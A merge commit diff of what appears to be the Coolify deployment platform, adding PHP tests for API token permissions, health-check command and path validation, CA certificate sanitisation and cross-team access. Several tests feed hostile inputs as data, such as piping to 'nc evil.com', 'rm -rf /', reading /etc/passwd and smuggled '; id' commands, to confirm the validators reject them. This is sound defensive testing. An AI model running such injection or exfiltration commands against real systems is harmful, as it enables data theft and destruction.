Merge remote-tracking branch 'origin/next' into env-var-descriptions

This commit is contained in:
Andras Bacsai committed 2026-02-28 00:09:54 +01:00
commit d9e39ba211
404 files changed
+29406 -26356

No files matched your search

-2
View File
@@ -1,2 +0,0 @@
*
!.gitignore
+75
View File
@@ -0,0 +1,75 @@
<?php
use App\Models\Team;
use App\Models\User;
use Illuminate\Foundation\Testing\RefreshDatabase;
uses(RefreshDatabase::class);
beforeEach(function () {
$this->team = Team::factory()->create();
$this->user = User::factory()->create();
$this->team->members()->attach($this->user->id, ['role' => 'owner']);
session(['currentTeam' => $this->team]);
});
describe('POST /api/v1/projects', function () {
test('read-only token cannot create a project', function () {
$token = $this->user->createToken('read-only', ['read']);
$response = $this->withHeaders([
'Authorization' => 'Bearer '.$token->plainTextToken,
'Content-Type' => 'application/json',
])->postJson('/api/v1/projects', [
'name' => 'Test Project',
]);
$response->assertStatus(403);
});
test('write token can create a project', function () {
$token = $this->user->createToken('write-token', ['write']);
$response = $this->withHeaders([
'Authorization' => 'Bearer '.$token->plainTextToken,
'Content-Type' => 'application/json',
])->postJson('/api/v1/projects', [
'name' => 'Test Project',
]);
$response->assertStatus(201);
$response->assertJsonStructure(['uuid']);
});
test('root token can create a project', function () {
$token = $this->user->createToken('root-token', ['root']);
$response = $this->withHeaders([
'Authorization' => 'Bearer '.$token->plainTextToken,
'Content-Type' => 'application/json',
])->postJson('/api/v1/projects', [
'name' => 'Test Project',
]);
$response->assertStatus(201);
$response->assertJsonStructure(['uuid']);
});
});
describe('POST /api/v1/servers', function () {
test('read-only token cannot create a server', function () {
$token = $this->user->createToken('read-only', ['read']);
$response = $this->withHeaders([
'Authorization' => 'Bearer '.$token->plainTextToken,
'Content-Type' => 'application/json',
])->postJson('/api/v1/servers', [
'name' => 'Test Server',
'ip' => '1.2.3.4',
'private_key_uuid' => 'fake-uuid',
]);
$response->assertStatus(403);
});
});
@@ -0,0 +1,120 @@
<?php
use App\Models\Application;
use App\Models\Environment;
use App\Models\Project;
use App\Models\Server;
use App\Models\StandaloneDocker;
use App\Models\Team;
use App\Models\User;
use Illuminate\Foundation\Testing\RefreshDatabase;
use Visus\Cuid2\Cuid2;
uses(RefreshDatabase::class);
beforeEach(function () {
$this->team = Team::factory()->create();
$this->user = User::factory()->create();
$this->team->members()->attach($this->user->id, ['role' => 'owner']);
session(['currentTeam' => $this->team]);
$this->token = $this->user->createToken('test-token', ['*']);
$this->bearerToken = $this->token->plainTextToken;
$this->server = Server::factory()->create(['team_id' => $this->team->id]);
StandaloneDocker::withoutEvents(function () {
$this->destination = StandaloneDocker::firstOrCreate(
['server_id' => $this->server->id, 'network' => 'coolify'],
['uuid' => (string) new Cuid2, 'name' => 'test-docker']
);
});
$this->project = Project::create([
'uuid' => (string) new Cuid2,
'name' => 'test-project',
'team_id' => $this->team->id,
]);
// Project boot event auto-creates a 'production' environment
$this->environment = $this->project->environments()->first();
$this->application = Application::factory()->create([
'environment_id' => $this->environment->id,
'destination_id' => $this->destination->id,
'destination_type' => $this->destination->getMorphClass(),
]);
});
function healthCheckAuthHeaders($bearerToken): array
{
return [
'Authorization' => 'Bearer '.$bearerToken,
'Content-Type' => 'application/json',
];
}
describe('PATCH /api/v1/applications/{uuid} health check fields', function () {
test('can update health_check_type to cmd with a command', function () {
$response = $this->withHeaders(healthCheckAuthHeaders($this->bearerToken))
->patchJson("/api/v1/applications/{$this->application->uuid}", [
'health_check_type' => 'cmd',
'health_check_command' => 'pg_isready -U postgres',
]);
$response->assertOk();
$this->application->refresh();
expect($this->application->health_check_type)->toBe('cmd');
expect($this->application->health_check_command)->toBe('pg_isready -U postgres');
});
test('can update health_check_type back to http', function () {
$this->application->update([
'health_check_type' => 'cmd',
'health_check_command' => 'redis-cli ping',
]);
$response = $this->withHeaders(healthCheckAuthHeaders($this->bearerToken))
->patchJson("/api/v1/applications/{$this->application->uuid}", [
'health_check_type' => 'http',
'health_check_command' => null,
]);
$response->assertOk();
$this->application->refresh();
expect($this->application->health_check_type)->toBe('http');
expect($this->application->health_check_command)->toBeNull();
});
test('rejects invalid health_check_type', function () {
$response = $this->withHeaders(healthCheckAuthHeaders($this->bearerToken))
->patchJson("/api/v1/applications/{$this->application->uuid}", [
'health_check_type' => 'exec',
]);
$response->assertStatus(422);
});
test('rejects health_check_command with shell operators', function () {
$response = $this->withHeaders(healthCheckAuthHeaders($this->bearerToken))
->patchJson("/api/v1/applications/{$this->application->uuid}", [
'health_check_type' => 'cmd',
'health_check_command' => 'pg_isready; rm -rf /',
]);
$response->assertStatus(422);
});
test('rejects health_check_command over 1000 characters', function () {
$response = $this->withHeaders(healthCheckAuthHeaders($this->bearerToken))
->patchJson("/api/v1/applications/{$this->application->uuid}", [
'health_check_type' => 'cmd',
'health_check_command' => str_repeat('a', 1001),
]);
$response->assertStatus(422);
});
});
@@ -0,0 +1,93 @@
<?php
use App\Livewire\Server\CaCertificate\Show;
use App\Models\Server;
use App\Models\SslCertificate;
use App\Models\Team;
use App\Models\User;
use Illuminate\Foundation\Testing\RefreshDatabase;
use Livewire\Livewire;
uses(RefreshDatabase::class);
beforeEach(function () {
$this->user = User::factory()->create();
$this->team = Team::factory()->create();
$this->user->teams()->attach($this->team, ['role' => 'owner']);
$this->actingAs($this->user);
session(['currentTeam' => $this->team]);
$this->server = Server::factory()->create([
'team_id' => $this->team->id,
]);
});
function generateSelfSignedCert(): string
{
$key = openssl_pkey_new(['private_key_bits' => 2048]);
$csr = openssl_csr_new(['CN' => 'Test CA'], $key);
$cert = openssl_csr_sign($csr, null, $key, 365);
openssl_x509_export($cert, $certPem);
return $certPem;
}
test('saveCaCertificate sanitizes injected commands after certificate marker', function () {
$validCert = generateSelfSignedCert();
$caCert = SslCertificate::create([
'server_id' => $this->server->id,
'is_ca_certificate' => true,
'ssl_certificate' => $validCert,
'ssl_private_key' => 'test-key',
'common_name' => 'Coolify CA Certificate',
'valid_until' => now()->addYears(10),
]);
// Inject shell command after valid certificate
$maliciousContent = $validCert."' ; id > /tmp/pwned ; echo '";
Livewire::test(Show::class, ['server_uuid' => $this->server->uuid])
->set('certificateContent', $maliciousContent)
->call('saveCaCertificate')
->assertDispatched('success');
// After save, the certificate should be the clean re-exported PEM, not the malicious input
$caCert->refresh();
expect($caCert->ssl_certificate)->not->toContain('/tmp/pwned');
expect($caCert->ssl_certificate)->not->toContain('; id');
expect($caCert->ssl_certificate)->toContain('-----BEGIN CERTIFICATE-----');
expect($caCert->ssl_certificate)->toEndWith("-----END CERTIFICATE-----\n");
});
test('saveCaCertificate rejects completely invalid certificate', function () {
SslCertificate::create([
'server_id' => $this->server->id,
'is_ca_certificate' => true,
'ssl_certificate' => 'placeholder',
'ssl_private_key' => 'test-key',
'common_name' => 'Coolify CA Certificate',
'valid_until' => now()->addYears(10),
]);
Livewire::test(Show::class, ['server_uuid' => $this->server->uuid])
->set('certificateContent', "not-a-cert'; rm -rf /; echo '")
->call('saveCaCertificate')
->assertDispatched('error');
});
test('saveCaCertificate rejects empty certificate content', function () {
SslCertificate::create([
'server_id' => $this->server->id,
'is_ca_certificate' => true,
'ssl_certificate' => 'placeholder',
'ssl_private_key' => 'test-key',
'common_name' => 'Coolify CA Certificate',
'valid_until' => now()->addYears(10),
]);
Livewire::test(Show::class, ['server_uuid' => $this->server->uuid])
->set('certificateContent', '')
->call('saveCaCertificate')
->assertDispatched('error');
});
@@ -0,0 +1,90 @@
<?php
use Illuminate\Support\Facades\Validator;
$commandRules = ['nullable', 'string', 'max:1000', 'regex:/^[a-zA-Z0-9 \-_.\/:=@,+]+$/'];
it('rejects healthCheckCommand over 1000 characters', function () use ($commandRules) {
$validator = Validator::make(
['healthCheckCommand' => str_repeat('a', 1001)],
['healthCheckCommand' => $commandRules]
);
expect($validator->fails())->toBeTrue();
});
it('accepts healthCheckCommand under 1000 characters', function () use ($commandRules) {
$validator = Validator::make(
['healthCheckCommand' => 'pg_isready -U postgres'],
['healthCheckCommand' => $commandRules]
);
expect($validator->fails())->toBeFalse();
});
it('accepts null healthCheckCommand', function () use ($commandRules) {
$validator = Validator::make(
['healthCheckCommand' => null],
['healthCheckCommand' => $commandRules]
);
expect($validator->fails())->toBeFalse();
});
it('accepts simple commands', function ($command) use ($commandRules) {
$validator = Validator::make(
['healthCheckCommand' => $command],
['healthCheckCommand' => $commandRules]
);
expect($validator->fails())->toBeFalse();
})->with([
'pg_isready -U postgres',
'redis-cli ping',
'curl -f http://localhost:8080/health',
'wget -q -O- http://localhost/health',
'mysqladmin ping -h 127.0.0.1',
]);
it('rejects commands with shell operators', function ($command) use ($commandRules) {
$validator = Validator::make(
['healthCheckCommand' => $command],
['healthCheckCommand' => $commandRules]
);
expect($validator->fails())->toBeTrue();
})->with([
'pg_isready; rm -rf /',
'redis-cli ping | nc evil.com 1234',
'curl http://localhost && curl http://evil.com',
'echo $(whoami)',
'cat /etc/passwd > /tmp/out',
'curl `whoami`.evil.com',
'cmd & background',
'echo "hello"',
"echo 'hello'",
'test < /etc/passwd',
'bash -c {echo,pwned}',
'curl http://evil.com#comment',
'echo $HOME',
"cmd\twith\ttabs",
"cmd\nwith\nnewlines",
]);
it('rejects invalid healthCheckType', function () {
$validator = Validator::make(
['healthCheckType' => 'exec'],
['healthCheckType' => 'string|in:http,cmd']
);
expect($validator->fails())->toBeTrue();
});
it('accepts valid healthCheckType values', function ($type) {
$validator = Validator::make(
['healthCheckType' => $type],
['healthCheckType' => 'string|in:http,cmd']
);
expect($validator->fails())->toBeFalse();
})->with(['http', 'cmd']);
@@ -0,0 +1,276 @@
<?php
use App\Jobs\ApplicationDeploymentJob;
describe('deployment job path field validation', function () {
test('rejects shell metacharacters in dockerfile_location', function () {
$job = new ReflectionClass(ApplicationDeploymentJob::class);
$method = $job->getMethod('validatePathField');
$method->setAccessible(true);
$instance = $job->newInstanceWithoutConstructor();
expect(fn () => $method->invoke($instance, '/Dockerfile; echo pwned', 'dockerfile_location'))
->toThrow(RuntimeException::class, 'contains forbidden characters');
});
test('rejects backtick injection', function () {
$job = new ReflectionClass(ApplicationDeploymentJob::class);
$method = $job->getMethod('validatePathField');
$method->setAccessible(true);
$instance = $job->newInstanceWithoutConstructor();
expect(fn () => $method->invoke($instance, '/Dockerfile`whoami`', 'dockerfile_location'))
->toThrow(RuntimeException::class, 'contains forbidden characters');
});
test('rejects dollar sign variable expansion', function () {
$job = new ReflectionClass(ApplicationDeploymentJob::class);
$method = $job->getMethod('validatePathField');
$method->setAccessible(true);
$instance = $job->newInstanceWithoutConstructor();
expect(fn () => $method->invoke($instance, '/Dockerfile$(whoami)', 'dockerfile_location'))
->toThrow(RuntimeException::class, 'contains forbidden characters');
});
test('rejects pipe injection', function () {
$job = new ReflectionClass(ApplicationDeploymentJob::class);
$method = $job->getMethod('validatePathField');
$method->setAccessible(true);
$instance = $job->newInstanceWithoutConstructor();
expect(fn () => $method->invoke($instance, '/Dockerfile | cat /etc/passwd', 'dockerfile_location'))
->toThrow(RuntimeException::class, 'contains forbidden characters');
});
test('rejects ampersand injection', function () {
$job = new ReflectionClass(ApplicationDeploymentJob::class);
$method = $job->getMethod('validatePathField');
$method->setAccessible(true);
$instance = $job->newInstanceWithoutConstructor();
expect(fn () => $method->invoke($instance, '/Dockerfile && env', 'dockerfile_location'))
->toThrow(RuntimeException::class, 'contains forbidden characters');
});
test('rejects path traversal', function () {
$job = new ReflectionClass(ApplicationDeploymentJob::class);
$method = $job->getMethod('validatePathField');
$method->setAccessible(true);
$instance = $job->newInstanceWithoutConstructor();
expect(fn () => $method->invoke($instance, '/../../../etc/passwd', 'dockerfile_location'))
->toThrow(RuntimeException::class, 'path traversal detected');
});
test('allows valid simple path', function () {
$job = new ReflectionClass(ApplicationDeploymentJob::class);
$method = $job->getMethod('validatePathField');
$method->setAccessible(true);
$instance = $job->newInstanceWithoutConstructor();
expect($method->invoke($instance, '/Dockerfile', 'dockerfile_location'))
->toBe('/Dockerfile');
});
test('allows valid nested path with dots and hyphens', function () {
$job = new ReflectionClass(ApplicationDeploymentJob::class);
$method = $job->getMethod('validatePathField');
$method->setAccessible(true);
$instance = $job->newInstanceWithoutConstructor();
expect($method->invoke($instance, '/docker/Dockerfile.prod', 'dockerfile_location'))
->toBe('/docker/Dockerfile.prod');
});
test('allows valid compose file path', function () {
$job = new ReflectionClass(ApplicationDeploymentJob::class);
$method = $job->getMethod('validatePathField');
$method->setAccessible(true);
$instance = $job->newInstanceWithoutConstructor();
expect($method->invoke($instance, '/docker-compose.prod.yml', 'docker_compose_location'))
->toBe('/docker-compose.prod.yml');
});
});
describe('API validation rules for path fields', function () {
test('dockerfile_location validation rejects shell metacharacters', function () {
$rules = sharedDataApplications();
$validator = validator(
['dockerfile_location' => '/Dockerfile; echo pwned; #'],
['dockerfile_location' => $rules['dockerfile_location']]
);
expect($validator->fails())->toBeTrue();
});
test('dockerfile_location validation allows valid paths', function () {
$rules = sharedDataApplications();
$validator = validator(
['dockerfile_location' => '/docker/Dockerfile.prod'],
['dockerfile_location' => $rules['dockerfile_location']]
);
expect($validator->fails())->toBeFalse();
});
test('docker_compose_location validation rejects shell metacharacters', function () {
$rules = sharedDataApplications();
$validator = validator(
['docker_compose_location' => '/docker-compose.yml; env; #'],
['docker_compose_location' => $rules['docker_compose_location']]
);
expect($validator->fails())->toBeTrue();
});
test('docker_compose_location validation allows valid paths', function () {
$rules = sharedDataApplications();
$validator = validator(
['docker_compose_location' => '/docker/docker-compose.prod.yml'],
['docker_compose_location' => $rules['docker_compose_location']]
);
expect($validator->fails())->toBeFalse();
});
});
describe('sharedDataApplications rules survive array_merge in controller', function () {
test('docker_compose_location safe regex is not overridden by local rules', function () {
$sharedRules = sharedDataApplications();
// Simulate what ApplicationsController does: array_merge(shared, local)
// After our fix, local no longer contains docker_compose_location,
// so the shared regex rule must survive
$localRules = [
'name' => 'string|max:255',
'docker_compose_domains' => 'array|nullable',
];
$merged = array_merge($sharedRules, $localRules);
// The merged rules for docker_compose_location should be the safe regex, not just 'string'
expect($merged['docker_compose_location'])->toBeArray();
expect($merged['docker_compose_location'])->toContain('regex:/^\/[a-zA-Z0-9._\-\/]+$/');
});
});
describe('path fields require leading slash', function () {
test('dockerfile_location without leading slash is rejected by API rules', function () {
$rules = sharedDataApplications();
$validator = validator(
['dockerfile_location' => 'Dockerfile'],
['dockerfile_location' => $rules['dockerfile_location']]
);
expect($validator->fails())->toBeTrue();
});
test('docker_compose_location without leading slash is rejected by API rules', function () {
$rules = sharedDataApplications();
$validator = validator(
['docker_compose_location' => 'docker-compose.yaml'],
['docker_compose_location' => $rules['docker_compose_location']]
);
expect($validator->fails())->toBeTrue();
});
test('deployment job rejects path without leading slash', function () {
$job = new ReflectionClass(ApplicationDeploymentJob::class);
$method = $job->getMethod('validatePathField');
$method->setAccessible(true);
$instance = $job->newInstanceWithoutConstructor();
expect(fn () => $method->invoke($instance, 'docker-compose.yaml', 'docker_compose_location'))
->toThrow(RuntimeException::class, 'contains forbidden characters');
});
});
describe('API route middleware for deploy actions', function () {
test('application start route requires deploy ability', function () {
$routes = app('router')->getRoutes();
$route = $routes->getByAction('App\Http\Controllers\Api\ApplicationsController@action_deploy');
expect($route)->not->toBeNull();
$middleware = $route->gatherMiddleware();
expect($middleware)->toContain('api.ability:deploy');
expect($middleware)->not->toContain('api.ability:write');
});
test('application restart route requires deploy ability', function () {
$routes = app('router')->getRoutes();
$matchedRoute = null;
foreach ($routes as $route) {
if (str_contains($route->uri(), 'applications') && str_contains($route->uri(), 'restart')) {
$matchedRoute = $route;
break;
}
}
expect($matchedRoute)->not->toBeNull();
$middleware = $matchedRoute->gatherMiddleware();
expect($middleware)->toContain('api.ability:deploy');
});
test('application stop route requires deploy ability', function () {
$routes = app('router')->getRoutes();
$matchedRoute = null;
foreach ($routes as $route) {
if (str_contains($route->uri(), 'applications') && str_contains($route->uri(), 'stop')) {
$matchedRoute = $route;
break;
}
}
expect($matchedRoute)->not->toBeNull();
$middleware = $matchedRoute->gatherMiddleware();
expect($middleware)->toContain('api.ability:deploy');
});
test('database start route requires deploy ability', function () {
$routes = app('router')->getRoutes();
$matchedRoute = null;
foreach ($routes as $route) {
if (str_contains($route->uri(), 'databases') && str_contains($route->uri(), 'start')) {
$matchedRoute = $route;
break;
}
}
expect($matchedRoute)->not->toBeNull();
$middleware = $matchedRoute->gatherMiddleware();
expect($middleware)->toContain('api.ability:deploy');
});
test('service start route requires deploy ability', function () {
$routes = app('router')->getRoutes();
$matchedRoute = null;
foreach ($routes as $route) {
if (str_contains($route->uri(), 'services') && str_contains($route->uri(), 'start')) {
$matchedRoute = $route;
break;
}
}
expect($matchedRoute)->not->toBeNull();
$middleware = $matchedRoute->gatherMiddleware();
expect($middleware)->toContain('api.ability:deploy');
});
});
+80
View File
@@ -0,0 +1,80 @@
<?php
use App\Models\Application;
use App\Models\Environment;
use App\Models\Project;
use App\Models\Server;
use App\Models\StandaloneDocker;
use App\Models\Team;
use App\Models\User;
use Illuminate\Foundation\Testing\RefreshDatabase;
uses(RefreshDatabase::class);
beforeEach(function () {
$this->team = Team::factory()->create();
$this->user = User::factory()->create();
$this->team->members()->attach($this->user->id, ['role' => 'owner']);
$this->token = $this->user->createToken('test-token', ['*'], $this->team->id);
$this->bearerToken = $this->token->plainTextToken;
$this->server = Server::factory()->create(['team_id' => $this->team->id]);
$this->destination = StandaloneDocker::factory()->create(['server_id' => $this->server->id]);
$this->project = Project::factory()->create(['team_id' => $this->team->id]);
$this->environment = Environment::factory()->create(['project_id' => $this->project->id]);
});
function authHeaders(): array
{
return [
'Authorization' => 'Bearer '.test()->bearerToken,
];
}
test('returns domains for own team application via uuid query param', function () {
$application = Application::factory()->create([
'fqdn' => 'https://my-app.example.com',
'environment_id' => $this->environment->id,
'destination_id' => $this->destination->id,
'destination_type' => $this->destination->getMorphClass(),
]);
$response = $this->withHeaders(authHeaders())
->getJson("/api/v1/servers/{$this->server->uuid}/domains?uuid={$application->uuid}");
$response->assertOk();
$response->assertJsonFragment(['my-app.example.com']);
});
test('returns 404 when application uuid belongs to another team', function () {
$otherTeam = Team::factory()->create();
$otherUser = User::factory()->create();
$otherTeam->members()->attach($otherUser->id, ['role' => 'owner']);
$otherServer = Server::factory()->create(['team_id' => $otherTeam->id]);
$otherDestination = StandaloneDocker::factory()->create(['server_id' => $otherServer->id]);
$otherProject = Project::factory()->create(['team_id' => $otherTeam->id]);
$otherEnvironment = Environment::factory()->create(['project_id' => $otherProject->id]);
$otherApplication = Application::factory()->create([
'fqdn' => 'https://secret-app.internal.company.com',
'environment_id' => $otherEnvironment->id,
'destination_id' => $otherDestination->id,
'destination_type' => $otherDestination->getMorphClass(),
]);
$response = $this->withHeaders(authHeaders())
->getJson("/api/v1/servers/{$this->server->uuid}/domains?uuid={$otherApplication->uuid}");
$response->assertNotFound();
$response->assertJson(['message' => 'Application not found.']);
});
test('returns 404 for nonexistent application uuid', function () {
$response = $this->withHeaders(authHeaders())
->getJson("/api/v1/servers/{$this->server->uuid}/domains?uuid=nonexistent-uuid");
$response->assertNotFound();
$response->assertJson(['message' => 'Application not found.']);
});
@@ -0,0 +1,194 @@
<?php
use App\Models\Application;
use App\Models\Environment;
use App\Models\EnvironmentVariable;
use App\Models\Project;
use App\Models\Server;
use App\Models\Service;
use App\Models\StandaloneDocker;
use App\Models\Team;
use App\Models\User;
use Illuminate\Foundation\Testing\RefreshDatabase;
uses(RefreshDatabase::class);
beforeEach(function () {
$this->team = Team::factory()->create();
$this->user = User::factory()->create();
$this->team->members()->attach($this->user->id, ['role' => 'owner']);
session(['currentTeam' => $this->team]);
$this->token = $this->user->createToken('test-token', ['*']);
$this->bearerToken = $this->token->plainTextToken;
$this->server = Server::factory()->create(['team_id' => $this->team->id]);
$this->destination = StandaloneDocker::factory()->create(['server_id' => $this->server->id]);
$this->project = Project::factory()->create(['team_id' => $this->team->id]);
$this->environment = Environment::factory()->create(['project_id' => $this->project->id]);
});
describe('PATCH /api/v1/services/{uuid}/envs', function () {
test('returns the updated environment variable object', function () {
$service = Service::factory()->create([
'server_id' => $this->server->id,
'destination_id' => $this->destination->id,
'destination_type' => $this->destination->getMorphClass(),
'environment_id' => $this->environment->id,
]);
EnvironmentVariable::create([
'key' => 'APP_IMAGE_TAG',
'value' => 'old-value',
'resourceable_type' => Service::class,
'resourceable_id' => $service->id,
'is_preview' => false,
]);
$response = $this->withHeaders([
'Authorization' => 'Bearer '.$this->bearerToken,
'Content-Type' => 'application/json',
])->patchJson("/api/v1/services/{$service->uuid}/envs", [
'key' => 'APP_IMAGE_TAG',
'value' => 'new-value',
]);
$response->assertStatus(201);
$response->assertJsonStructure([
'uuid',
'key',
'is_literal',
'is_multiline',
'is_shown_once',
'created_at',
'updated_at',
]);
$response->assertJsonFragment(['key' => 'APP_IMAGE_TAG']);
$response->assertJsonMissing(['message' => 'Environment variable updated.']);
});
test('returns 404 when environment variable does not exist', function () {
$service = Service::factory()->create([
'server_id' => $this->server->id,
'destination_id' => $this->destination->id,
'destination_type' => $this->destination->getMorphClass(),
'environment_id' => $this->environment->id,
]);
$response = $this->withHeaders([
'Authorization' => 'Bearer '.$this->bearerToken,
'Content-Type' => 'application/json',
])->patchJson("/api/v1/services/{$service->uuid}/envs", [
'key' => 'NONEXISTENT_KEY',
'value' => 'some-value',
]);
$response->assertStatus(404);
$response->assertJson(['message' => 'Environment variable not found.']);
});
test('returns 404 when service does not exist', function () {
$response = $this->withHeaders([
'Authorization' => 'Bearer '.$this->bearerToken,
'Content-Type' => 'application/json',
])->patchJson('/api/v1/services/non-existent-uuid/envs', [
'key' => 'APP_IMAGE_TAG',
'value' => 'some-value',
]);
$response->assertStatus(404);
});
test('returns 422 when key is missing', function () {
$service = Service::factory()->create([
'server_id' => $this->server->id,
'destination_id' => $this->destination->id,
'destination_type' => $this->destination->getMorphClass(),
'environment_id' => $this->environment->id,
]);
$response = $this->withHeaders([
'Authorization' => 'Bearer '.$this->bearerToken,
'Content-Type' => 'application/json',
])->patchJson("/api/v1/services/{$service->uuid}/envs", [
'value' => 'some-value',
]);
$response->assertStatus(422);
});
});
describe('PATCH /api/v1/applications/{uuid}/envs', function () {
test('returns the updated environment variable object', function () {
$application = Application::factory()->create([
'environment_id' => $this->environment->id,
'destination_id' => $this->destination->id,
'destination_type' => $this->destination->getMorphClass(),
]);
EnvironmentVariable::create([
'key' => 'APP_IMAGE_TAG',
'value' => 'old-value',
'resourceable_type' => Application::class,
'resourceable_id' => $application->id,
'is_preview' => false,
]);
$response = $this->withHeaders([
'Authorization' => 'Bearer '.$this->bearerToken,
'Content-Type' => 'application/json',
])->patchJson("/api/v1/applications/{$application->uuid}/envs", [
'key' => 'APP_IMAGE_TAG',
'value' => 'new-value',
]);
$response->assertStatus(201);
$response->assertJsonStructure([
'uuid',
'key',
'is_literal',
'is_multiline',
'is_shown_once',
'created_at',
'updated_at',
]);
$response->assertJsonFragment(['key' => 'APP_IMAGE_TAG']);
$response->assertJsonMissing(['message' => 'Environment variable updated.']);
});
test('returns 404 when environment variable does not exist', function () {
$application = Application::factory()->create([
'environment_id' => $this->environment->id,
'destination_id' => $this->destination->id,
'destination_type' => $this->destination->getMorphClass(),
]);
$response = $this->withHeaders([
'Authorization' => 'Bearer '.$this->bearerToken,
'Content-Type' => 'application/json',
])->patchJson("/api/v1/applications/{$application->uuid}/envs", [
'key' => 'NONEXISTENT_KEY',
'value' => 'some-value',
]);
$response->assertStatus(404);
});
test('returns 422 when key is missing', function () {
$application = Application::factory()->create([
'environment_id' => $this->environment->id,
'destination_id' => $this->destination->id,
'destination_type' => $this->destination->getMorphClass(),
]);
$response = $this->withHeaders([
'Authorization' => 'Bearer '.$this->bearerToken,
'Content-Type' => 'application/json',
])->patchJson("/api/v1/applications/{$application->uuid}/envs", [
'value' => 'some-value',
]);
$response->assertStatus(422);
});
});
@@ -1,144 +1,59 @@
<?php
test('multiline environment variables are properly escaped for docker build args', function () {
$sshKey = '-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAMwAAAAtzc2gtZW
QyNTUxOQAAACBbhpqHhqv6aI67Mj9abM3DVbmcfYhZAhC7ca4d9UCevAAAAJi/QySHv0Mk
hwAAAAtzc2gtZWQyNTUxOQAAACBbhpqHhqv6aI67Mj9abM3DVbmcfYhZAhC7ca4d9UCevA
AAAECBQw4jg1WRT2IGHMncCiZhURCts2s24HoDS0thHnnRKVuGmoeGq/pojrsyP1pszcNV
uZx9iFkCELtxrh31QJ68AAAAEXNhaWxANzZmZjY2ZDJlMmRkAQIDBA==
-----END OPENSSH PRIVATE KEY-----';
test('generateDockerBuildArgs returns only keys without values', function () {
$variables = [
['key' => 'SSH_PRIVATE_KEY', 'value' => "'{$sshKey}'", 'is_multiline' => true],
['key' => 'SSH_PRIVATE_KEY', 'value' => "'some-ssh-key'", 'is_multiline' => true],
['key' => 'REGULAR_VAR', 'value' => 'simple value', 'is_multiline' => false],
];
$buildArgs = generateDockerBuildArgs($variables);
// SSH key should use double quotes and have proper escaping
$sshArg = $buildArgs->first();
expect($sshArg)->toStartWith('--build-arg SSH_PRIVATE_KEY="');
expect($sshArg)->toEndWith('"');
expect($sshArg)->toContain('BEGIN OPENSSH PRIVATE KEY');
expect($sshArg)->not->toContain("'BEGIN"); // Should not have the wrapper single quotes
// Regular var should use escapeshellarg (single quotes)
$regularArg = $buildArgs->last();
expect($regularArg)->toBe("--build-arg REGULAR_VAR='simple value'");
// Docker gets values from the environment, so only keys should be in build args
expect($buildArgs->first())->toBe('--build-arg SSH_PRIVATE_KEY');
expect($buildArgs->last())->toBe('--build-arg REGULAR_VAR');
});
test('multiline variables with special bash characters are escaped correctly', function () {
$valueWithSpecialChars = "line1\nline2 with \"quotes\"\nline3 with \$variables\nline4 with `backticks`";
test('generateDockerBuildArgs works with collection of objects', function () {
$variables = collect([
(object) ['key' => 'VAR1', 'value' => 'value1', 'is_multiline' => false],
(object) ['key' => 'VAR2', 'value' => "'multiline\nvalue'", 'is_multiline' => true],
]);
$buildArgs = generateDockerBuildArgs($variables);
expect($buildArgs)->toHaveCount(2);
expect($buildArgs->values()->toArray())->toBe([
'--build-arg VAR1',
'--build-arg VAR2',
]);
});
test('generateDockerBuildArgs collection can be imploded into valid command string', function () {
$variables = [
['key' => 'SPECIAL_VALUE', 'value' => "'{$valueWithSpecialChars}'", 'is_multiline' => true],
['key' => 'COOLIFY_URL', 'value' => 'http://example.com', 'is_multiline' => false],
['key' => 'COOLIFY_BRANCH', 'value' => 'main', 'is_multiline' => false],
];
$buildArgs = generateDockerBuildArgs($variables);
// The collection must be imploded to a string for command interpolation
// This was the bug: Collection was interpolated as JSON instead of a space-separated string
$argsString = $buildArgs->implode(' ');
expect($argsString)->toBe('--build-arg COOLIFY_URL --build-arg COOLIFY_BRANCH');
// Verify it does NOT produce JSON when cast to string
expect($argsString)->not->toContain('{');
expect($argsString)->not->toContain('}');
});
test('generateDockerBuildArgs handles variables without is_multiline', function () {
$variables = [
['key' => 'NO_FLAG_VAR', 'value' => 'some value'],
];
$buildArgs = generateDockerBuildArgs($variables);
$arg = $buildArgs->first();
// Verify double quotes are escaped
expect($arg)->toContain('\\"quotes\\"');
// Verify dollar signs are escaped
expect($arg)->toContain('\\$variables');
// Verify backticks are escaped
expect($arg)->toContain('\\`backticks\\`');
});
test('single-line environment variables use escapeshellarg', function () {
$variables = [
['key' => 'SIMPLE_VAR', 'value' => 'simple value with spaces', 'is_multiline' => false],
];
$buildArgs = generateDockerBuildArgs($variables);
$arg = $buildArgs->first();
// Should use single quotes from escapeshellarg
expect($arg)->toBe("--build-arg SIMPLE_VAR='simple value with spaces'");
});
test('multiline certificate with newlines is preserved', function () {
$certificate = '-----BEGIN CERTIFICATE-----
MIIDXTCCAkWgAwIBAgIJAKL0UG+mRkSvMA0GCSqGSIb3DQEBCwUAMEUxCzAJBgNV
BAYTAkFVMRMwEQYDVQQIDApTb21lLVN0YXRlMSEwHwYDVQQKDBhJbnRlcm5ldCBX
aWRnaXRzIFB0eSBMdGQwHhcNMTkwOTE3MDUzMzI5WhcNMjkwOTE0MDUzMzI5WjBF
-----END CERTIFICATE-----';
$variables = [
['key' => 'TLS_CERT', 'value' => "'{$certificate}'", 'is_multiline' => true],
];
$buildArgs = generateDockerBuildArgs($variables);
$arg = $buildArgs->first();
// Newlines should be preserved in the output
expect($arg)->toContain("\n");
expect($arg)->toContain('BEGIN CERTIFICATE');
expect($arg)->toContain('END CERTIFICATE');
expect(substr_count($arg, "\n"))->toBeGreaterThan(0);
});
test('multiline JSON configuration is properly escaped', function () {
$jsonConfig = '{
"key": "value",
"nested": {
"array": [1, 2, 3]
}
}';
$variables = [
['key' => 'JSON_CONFIG', 'value' => "'{$jsonConfig}'", 'is_multiline' => true],
];
$buildArgs = generateDockerBuildArgs($variables);
$arg = $buildArgs->first();
// All double quotes in JSON should be escaped
expect($arg)->toContain('\\"key\\"');
expect($arg)->toContain('\\"value\\"');
expect($arg)->toContain('\\"nested\\"');
});
test('empty multiline variable is handled correctly', function () {
$variables = [
['key' => 'EMPTY_VAR', 'value' => "''", 'is_multiline' => true],
];
$buildArgs = generateDockerBuildArgs($variables);
$arg = $buildArgs->first();
expect($arg)->toBe('--build-arg EMPTY_VAR=""');
});
test('multiline variable with only newlines', function () {
$onlyNewlines = "\n\n\n";
$variables = [
['key' => 'NEWLINES_ONLY', 'value' => "'{$onlyNewlines}'", 'is_multiline' => true],
];
$buildArgs = generateDockerBuildArgs($variables);
$arg = $buildArgs->first();
expect($arg)->toContain("\n");
// Should have 3 newlines preserved
